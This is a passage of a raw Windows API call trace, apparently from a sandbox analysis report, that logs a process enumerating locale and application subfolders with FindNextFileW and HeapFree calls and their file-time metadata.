ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0200.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.903] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0200.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.903] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0200.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.903] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0200.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.903] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0200.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.903] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0200.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0200.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0200.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0200.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0200.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.904] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0200.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.905] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0200.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.905] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0200.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.905] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0200.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.905] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0200.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.905] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0200.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.906] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0200.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.906] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0200.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.906] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0200.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.906] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0200.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.906] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0200.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.907] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0200.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.907] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0200.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.907] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.907] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0200.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.907] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0200.908] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0200.908] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0200.908] FindClose (in: hFindFile=0x4420860 | out: hFindFile=0x4420860) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.908] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0200.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.909] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0200.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.909] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0201.098] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0201.352] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0201.352] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0201.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0201.352] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0201.352] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0201.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0201.352] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0201.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.353] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0201.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.353] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0201.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.354] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0201.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.354] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, 